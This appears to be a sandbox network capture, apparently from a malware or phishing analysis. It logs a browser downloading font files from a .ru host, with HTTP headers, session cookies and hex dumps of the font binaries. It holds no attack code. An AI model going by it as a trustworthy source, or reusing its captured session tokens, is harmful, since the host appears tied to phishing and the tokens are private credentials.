laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:18 UTC	1151	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:18 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Tue, 25 Mar 2025 17:08:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SBgV1wGuT4Bi7jHhndxK2Uqu9ZiyzdFrEqjOSr6nzp2A8KZQSu0Hz903gdYJAX0NW7aW4lN3KQPolOm9863a7F04hqjbfOVG9J1rSotcD4rGeMNx4AnKdkn1AAnC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1997&min_rtt=1706&rtt_var=725&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2324&delivery_rate=1654857&cwnd=251&unsent_bytes=0&cid=9eb80b4134bacc7b&ts=165&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9260026c8f3c6a4e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105499&min_rtt=105202&rtt_var=22649&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1938&delivery_rate=35085&cwnd=233&unsent_bytes=0&cid=947102f96ba87ae2&ts=640&x=0"
2025-03-25 17:08:18 UTC	218	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 62 a0 11 62 26 86 bf 18 92 f0 88 f1 25 Data Ascii: $iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE0bb&%
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 f0 1b 53 d1 02 af a9 6a f1 5c 35 ed 52 Data Ascii: gdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)KSj\5R
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca 92 6d ea c4 d3 9a 19 70 8c 3c 94 47 bd Data Ascii: v}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tFmp<G
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc db d1 9c e4 c8 6f eb 5d 95 d9 f9 30 ad Data Ascii: [<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8Ko]0
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 4b e9 19 9a 89 31 66 d1 1c e0 7d 96 16 Data Ascii: =6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AOK1f}
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 66 d0 31 46 26 46 06 43 b6 2c 61 8c f5 Data Ascii: p[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #f1F&FC,a
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 0e 22 c4 be c5 be 82 58 a4 46 9a 0b 3c Data Ascii: +k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s"XF<
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 4e ee 78 72 a9 f4 ea bf fa 1a d6 1c 38 Data Ascii: 7"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&KHNxr8
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d 0a c1 21 6a 90 8a 38 1a d0 cf b2 a6 d3 Data Ascii: uZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/Ow7!j8

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	1370	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Origin: https://nz.freshmnind.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:19 UTC	1166	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:19 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Last-Modified: Tue, 25 Mar 2025 15:31:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0hmetmIyDE2cgBkV1i%2BTYIqm8ou6OrW0SyMjdSc9gON76zbw4tuHAgrWZgMq0G9EvHkgWHuvXPRUcs%2FUM%2F7MPGkdyXW97%2F4c7ttoNDWe0zTx0oik%2B17sttwr4yHY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1699&min_rtt=1106&rtt_var=838&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2328&delivery_rate=2618444&cwnd=251&unsent_bytes=0&cid=c4c655b5b238ffee&ts=21&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9260026c8d6c43b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105574&min_rtt=105237&rtt_var=22723&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1942&delivery_rate=35030&cwnd=231&unsent_bytes=0&cid=21b33a86615fb71a&ts=1315&x=0"
2025-03-25 17:08:19 UTC	203	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}Q
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 9a 4a 9f 0a 5f a5 a0 ff Data Ascii: C2TD5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?POBEuJ_
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 2a 07 8b 48 c9 1f 54 95 Data Ascii: E.=68_5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(ZAsR*HT
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 87 26 df 8a bb 36 57 23 Data Ascii: -hR};N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yCoi6"6&6W#
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 79 6c 76 39 5d c9 d6 fa Data Ascii: ml#N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvot5Iylv9]
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 cd 8a 6e c5 bb 56 5d 88 Data Ascii: \qJ*o;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<~%?sOnV]
